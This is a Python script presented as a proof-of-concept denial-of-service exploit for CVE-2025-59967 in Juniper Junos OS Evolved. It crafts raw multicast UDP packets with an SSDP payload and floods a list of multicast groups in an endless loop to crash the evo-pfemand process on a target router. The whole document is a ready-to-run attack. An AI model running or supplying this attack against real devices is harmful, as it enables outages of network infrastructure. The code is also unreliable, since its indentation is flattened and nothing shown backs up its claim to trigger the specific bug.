# CVE-2025-59967 PoC - Juniper Junos OS Evolved evo-pfemand NULL Pointer Dereference DoS
# This PoC demonstrates sending specific multicast traffic to trigger the vulnerability
# Note: Requires being on the same L2 adjacent network as the target device
#!/usr/bin/env python3
import socket
import struct
import time
# Target configuration - the Juniper device's L3 interface IP
TARGET_IP = "192.168.1.1" # Replace with actual target IP
INTERFACE = "eth0" # Network interface connected to the target
# Specific multicast groups that trigger the vulnerability
# These are valid multicast addresses that cause evo-pfemand to crash
MULTICAST_GROUPS = [
"239.255.255.250", # SSDP
"224.0.0.1", # All Hosts
"224.0.0.2", # All Routers
"239.0.0.1", # Custom multicast
]
def craft_multicast_packet(dst_ip, src_ip="192.168.1.100"):
"""Craft a valid multicast UDP packet to trigger the NULL pointer dereference"""
# IP Header
version_ihl = 0x45 # IPv4, IHL=5
dscp_ecn = 0x00
total_length = 0 # Will be calculated
identification = 0x1234
flags_fragment = 0x4000 # Don't fragment
ttl = 64
protocol = 17 # UDP
header_checksum = 0
src = socket.inet_aton(src_ip)
dst = socket.inet_aton(dst_ip)
# UDP Header
src_port = 12345
dst_port = 1900 # SSDP port (common multicast port)
udp_length = 0 # Will be calculated
udp_checksum = 0
# Payload - specific multicast payload that triggers the bug
payload = b"NOTIFY * HTTP/1.1\r\nHost: 239.255.255.250:1900\r\n"
# Calculate lengths
udp_length = 8 + len(payload)
total_length = 20 + udp_length
# Build IP header
ip_header = struct.pack("!BBHHHBBH4s4s",
version_ihl, dscp_ecn, total_length,
identification, flags_fragment,
ttl, protocol, header_checksum,
src, dst)
# Build UDP header
udp_header = struct.pack("!HHHH", src_port, dst_port, udp_length, udp_checksum)
packet = ip_header + udp_header + payload
return packet
def send_multicast_traffic():
"""Send continuous multicast traffic to trigger sustained DoS"""
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
print(f"[*] Targeting Juniper device: {TARGET_IP}")
print("[*] Sending multicast traffic to trigger evo-pfemand crash...")
try:
while True:
for mc_group in MULTICAST_GROUPS:
packet = craft_multicast_packet(mc_group)
sock.sendto(packet, (mc_group, 0))
print(f"[+] Sent multicast packet to {mc_group}")
time.sleep(0.1) # Send bursts to sustain the DoS
except KeyboardInterrupt:
print("\n[*] Stopping attack")
finally:
sock.close()
if __name__ == "__main__":
send_multicast_traffic()